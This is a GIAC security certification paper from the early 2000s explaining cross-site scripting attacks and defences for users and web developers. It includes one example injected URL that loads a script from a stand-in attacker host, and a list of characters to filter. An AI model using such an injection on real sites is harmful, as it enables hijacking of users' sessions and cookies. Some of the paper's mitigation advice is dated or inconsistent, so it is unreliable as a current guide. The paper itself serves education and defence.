Global Information Assurance Certification Paper

Cross-Sight Scripting Vulnerabilities
Mark Shiarla
GSEC Practical Assignment Version 1.2f

Overview

Cross-sight scripting is a vulnerability that is a potential threat to most Web servers and browsers. It is not a product specific attack. Servers that embed browser input into dynamically generated HTML pages can be manipulated into becoming a launch pad for running an attacker's malicious code. Servers that use static pages are immune to this type of attack because they have full control over how their Web pages will be interpreted. The attacker does not modify the content of the Website. The attacker merely inserts new script that can be executed by a browser. As a result, it is possible for the malicious code to run without the server or the end user realizing that anything different has happened.

How Cross-Site Scripting works

A website is vulnerable if certain conditions are met. First, the site has to accept and subsequently return the same input back to a user. The most common example is when a user does a search and the Web server returns the same data the user typed in. As an example, a user does a search for "software" and the browser returns a message of, "*Your search for software returned the following*." The second condition is met if the site reads user input and sends it back to the browser without being filtered. [1] Certain types of attacks also require that the Web server allows the submission of cross-domain form submission. [2]

A cross-site scripting attack can be done rather easily to a Web server that is not properly protected. Web servers generate both text and HTML markup on their web pages. The client's browser then interprets the web pages. HTML uses special characters to distinguish text from markup. Different characters are special at different points in the document, depending on the grammar. The less-than sign "<" usually indicates the beginning of an HTML tag. An HTML tag can affect the formatting of the page or introduce a program that will be executed by the browser. If the Web server creates pages by inserting dynamic data into a template, it should be checked to ensure that the data to be inserted does not contain any special characters. The user's Web browser could mistake any special characters as HTML markup. This would result in the browser mistaking some data values as HTML tags or script instead of displaying them as text. An attacker can choose the data that the Web server inserts into the web page, thereby tricking the user's browser into running a malicious script or program. The program will run in the browser's security context. The attacker can use this to run the program in an inappropriate security context. [3]

Types Of Attacks

There are different ways of performing a cross-site scripting attack. An attack without forms is the simplest type of attack. This is done to Web servers that take data from one person and use it to construct web pages for another user. Examples of this would be Internet based e-mail, chat rooms and Web bulletin boards. The attacker simply

writes the script he wants the victim to run and then uses the Web server to send it to the victim. 2

Another type of attack is the attack using forms. When a Web server receives a completed HTML form from a user, it cannot tell where it came from. Part of the form states where the URL to which the completed form should be posted. More than one form can state the same posting URL, but are not necessarily the same Web site. 2

If a user has an account on a Web site, the URL that the user sees may appear as something similar to the following:

http://www.mysite.com/username=Mark

The attacker's modified URL could be modified as follows:

http://www.mysite.com/username=<script src=http://www.hackersite.com/maliciousscript.js>

The user's browser can run the script without the user having any knowledge that anything different has happened. 4

The attacker's Web site can direct a browser that a completed form should be posted to a different Web site. The completed form does not distinguish between the data that the user supplied and the data that came from the source of the form. The attacker can create a modified version of the Web site's form that has certain fields filled in that would normally be filled in by the user. 2

The first thing an attacker has to do is identify a susceptible Web site. The site must accept a filled-in form and reply with a Web page containing data from that form. Such a site is at risk if special characters are not being checked. The attacker then creates a similar form on their Web site. The attacker sets the posting URL to the victim Web server. The attacker sets one of the fields within the form to have the victim Web server's reply contain the malicious program that will be executed by the Web browser. The attacker can make submitting the form appear to be no different from following the normal process. Once that is in place, the attacker waits for a user to follow the link. Once a reply is received from the victim Web server, the user's browser will execute the attacker's program inside of the reply. 2

The actions a program is allowed to perform depends on the source. Programs from a trusted Website are allowed to perform operations that are potentially unsafe. Conversely, the operations a non-trusted Website can perform are limited. An attack using forms allows a non-trusted Website to trick the browser into believing it came from a trusted Website. A Website that is accessed by a user should not be able to monitor or interfere with another Website that the user visits. This attack allows the attacking server to gain control over a script that the user runs to communicate with the victim server. 2

Once an attacker has gotten a user to run their malicious script, they may try to make the connection persistent by creating or altering a cookie. The attacker does this so that every time the user accesses the site, the malicious script is run. An attacker, in some cases, can create a cookie for an entire domain. This can cause the script to be run when any server on the domain is accessed. A server without sensitive data could potentially cause critical servers within the domain to be compromised. This also allows an attacker to bypass browser security configurations. The browser would normally prevent an untrusted site from executing script on the client. The attacker gets around this because the script appears to be from a trusted Web server. 1

A Web site may use a form filled in by the user to set preferences. When the form is submitted the Web site sends a cookie back to the browser. When the user accesses the site in the future the browser sends the cookie to the Web site. This is done in order to make the site customizable to each user. An attacker can insert script into the user's preferences. In doing so the script is executed every time the user visits the Web site. An attacker can read or modify domain cookies once a script has been inserted anywhere within the domain. The exploit may persist indefinitely once an attacker attaches a cross-site bug to a cookie. From that point on, the Web browser is infected. [2]

Another type of attack uses the HTTP "GET" method. There are two ways to submit forms on the Web, "GET" and "POST". An attacker uses the GET method by constructing a URL from the content of a form that the browser then retrieves. The Web server interprets the request for that URL as a submission of the form. The user does not need to be aware that they have submitted a form. The attacker only needs for a user to follow the link that has been created. The user is not aware that they have done anything except retrieve a Web page. The victim Web server receives a form that it believes has been sent by the user. This attack can be done without the attacker using a Website. The URL can be sent in a mail message or posted to a news group. [2]

An additional problem with HTTP is with an included header field called the "referer" field. When a browser follows a link, the URL of the page the link came from can be contained in the referer field. The referer field can also be present when a form is submitted. A Web server may reject a filled-in form if it did not come from an appropriate source. Rejecting the form would cause the attack to fail regardless of whether or not special characters were filtered. Unfortunately, there are several situations where rejecting forms that are not from a source that has been deemed appropriate may block legitimate form submissions. The referer field is an optional field. As a result, browsers that submit forms with a blank referer field would be blocked. Another problem is that a link may not come from a URL. If the link came from a bookmark or an e-mail message, the referer field would not be present. The browser may also clear the referer field. Many browsers will clear the referer field if the user navigates from a secure (HTTPS) site to a non-secure site (HTTP). This is done because confidential information is sometimes contained in the URLs of HTTPS pages. An attacker can also use this to their advantage. A malicious user can mask the origination point of an attack if it is hosted on an HTTPS page. [2]

Preventing Cross-Site Scripting Attacks

There are steps that can be done to prevent cross-site scripting attacks. User can help minimize the likelihood of an attack. One thing a user can do is disable scripting languages in their browser. This is the most effective measure a user can take, but it may reduce functionality. [5]

If this is not an option, users can gain some level of protection by being selective about how they initially visit a Web site. Typing the address directly into the browser is the safest way to connect to a site. Users need to realize that even a link to an unimportant site is a potential threat to expose other local systems on the network, even if the client's system is behind a firewall. [5]

There are several other options that users have. If the Web site allows, users should always logout before browsing elsewhere. Users should check all fields of a form that they are going to submit to ensure the information they have filled in is accurate. Users should not trust links sent in e-mails. The user cannot be certain where the e-mail came from. Users should use extreme caution when following a link from an untrusted source to a trusted site where they may enter data. [1]

The burden of prevention falls much more heavily on Web developers. The first thing Web developers need to do is to keep their Web servers patched. A Web developer should always monitor security sites specific to their product for any manufacture updates and security bulletins. In addition, there are steps that Web developers can take to protect their Web sites. The dilemma Web developers have is that each measure they take limits functionality. They have to come up with a balance between function and security.

One thing Web developers should consider is the elimination of "single sign-on." The single sign-on function allows the user to view as many Web pages as they wish, while only entering their username and password once. This function makes navigating the Web site more user-friendly. Without single sign-on the user would receive an authentication dialogue each time their browser attempted to access additional resources. This would provide a red flag that a script is running. With single sign-on, a script has a better chance of being executed without the user noticing. [2]

Microsoft's Passport authentication service is an ideal example of a single sign-on. Passport allows a user to sign on to one e-commerce website, or their Hotmail account, and retain their authentication while navigating to other Passport websites. One sign-on allows a user to authenticate to over 200 commerce websites. A user has the ability to navigate to other websites without logging out of Passport. This allows an attacker to use the credentials to purchase goods or view the user's e-mail. [7]

Another consideration for Web users is the encoding of Output. Output should be encoded based on Input parameters for special characters. Many web pages leave the character encoding undefined. If the character encoding was not defined in early versions of HTML and HTTP, it was supposed to default to ISO-8859-1. (*For a complete description of ISO-8859-1, see* http://www.cert.org/advisories/CA-2000-02.html). However, many browsers do not default to this standard. A Web server cannot determine which characters are special if it does not specify which character encoding is in use. Web pages that do not specify character encoding usually work because most character sets assign the same characters to byte values below 128, but it cannot determine which characters are special. Some 16-bit character-encoding schemes have additional multi-byte representations for special characters. Some browsers will recognize and act on this alternative encoding. This behavior is done by design, but it makes preventing attacks more difficult because the server cannot determine which byte sequence represents special characters. Unlike filtering, encoding preserves the visual appearance in the browser. A problem with encoding all untrusted data is that it can be resource intensive. As a result, Web developers should use a balance of encoding and data filtering. [3]

When filtering dynamic content it is recommended to select the set of characters that is known to be safe instead of excluding the set of characters that might be bad. This is done because it is unclear whether there are any other characters or character

combinations that can be used to expose other vulnerabilities. As an example, a form element that is expecting the input of a person's age is limited to the set of digits 0 through 9. Instead of trying to block all other digits, it is more simple and effective to only accept the characters 0 through 9. Filtering can be done as part of the data input process, data output process, or both. Filtering on the output side is more effective. On the input side, dynamic content can be entered into a Web site's database using methods other than HTTP. [3]

Web developers can filter Input parameters for special characters. Filtering removes special character from the input. The following special characters should be filtered:

< > " ' % ;) (& + -

The following are some examples of why these characters need to be filtered. Some of these characters are special in the content of a block-level element, which means in the middle of a paragraph of text. The "<" character introduces a tag. Some browsers treat ">" as special because it assumes the author made an error and meant to use an opening "<". The "&" sign introduces a character entity. [3]

Other characters are special as attribute values. If an attribute is enclosed in double quotes, the double quotes mark the end of an attribute value. The single quote is treated the same as the double quote. If there are no quotes, the white-space characters such as space and tab are treated as special characters. The "&" introduces a character entity when used in conjunction with some attributes. [3]

In URLs the space, tab, and new line mark the end of the URL. The "&" sign introduces a character entity or it separates CGI parameters. The "%" should be filtered from input when parameters encoded with HTTP escape sequences are decoded by server-side code. As an example, if "%68%65%6C%6F" appears as "hello" on the Web page. Filtering is effective, but may not always be a possibility. Some filtered characters may require input to server-side script. [3]

Filtering Output based on Input parameters for special characters is similar to filtering input except that you filter characters that are written out to the client. This is an effective technique, but it could interfere with Web pages that write out HTML elements. An example would be a Web page that writes out <TABLE> elements. A generic function would strip the < and > characters. This would prevent the Web site from using the <TABLE> tag. To avoid loss of functionality, the Web developer should only filter data passed in or data that was previously entered by a user and stored in a database. [6]

Summary

Cross-site scripting is a potential risk for most Web servers. Attackers are constantly coming up with new ways to perform this type of attack. An attacker has the potential to trick a victim Web server or browser into running a malicious script. It is possible for the attack to go undetected by the user or the Web server. An attacker can fool Web servers and browsers into believing a form is being submitted from a trusted source, thereby running script in an inappropriate security context. This gives the attacker the potential to pass through firewalls. An attacker can also use cookies to make an attack persistent.

The cross-site scripting attack can come in many forms, including: attack with out

forms, attack using forms, and an attack using the HTTP "GET" method. There are steps that can be done to prevent these types of attacks. Users can take certain steps, such as: disabling scripting languages in their browser, being selective about how they initially visit a Web site, logging out of Web sites before browsing elsewhere, carefully checking the fields of the forms they submit, not trusting links sent in e-mails, and using extreme caution when following a link from an untrusted source.

Web developers also have options to prevent attacks, such as: keeping their Web servers patched and updated, eliminating single sign-on, encoding Output based on Input parameters for special characters, filtering Input parameters for special characters, and filtering Output based on Input parameters.

References:

1. James Madison University IT Security Engineering, "Cross-Site Scripting Web Vulnerability", 11 October 2001, URL:
http://www.jmu.edu/computing/info-security/engineering/issues/cross.shtml

2. Ross, David; Brugiolo, Ivan; Coates, John; Roe, Michael; Microsoft TechNet, "Cross-site Scripting Overview", 2 February 2000, URL:
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/current.asp
Hot Topics- Cross-site Scripting Overview

3. CERT Coordination Center, "Understanding Malicious Content Mitigation for Web Developers", 2 February 2000, URL:
http://www.cert.org/tech_tips/malicious_code_mitigation.html/

4. Kotek, Brian, "Protect Against Cross-Site Scripting", 10 ColdFusion Scripting Tips, URL:
http://www.zdnet.com/devhead/stories/articles/0,4413,2784691,00.html

5. CERT Coordination Center, "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests", 3 February 2000, URL:
http://www.cert.org/advisories/CA-2000-02.html

6. Microsoft Product Support Services, "How To: Prevent Cross-Site Scripting Security Issues (Q252985)", 22 August 2001, URL: http://support.microsoft.com/default.aspx?scid=kb;EN-US;q252985

7. Hermann, Arthur, "**Passport to Nowhere? An investigation of Microsoft's Passport protocol and issues regarding its security, privacy standards and utilization in the XP and .Net initiatives", 29 September 2001, URL:** http://rr.sans.org/win/passport.php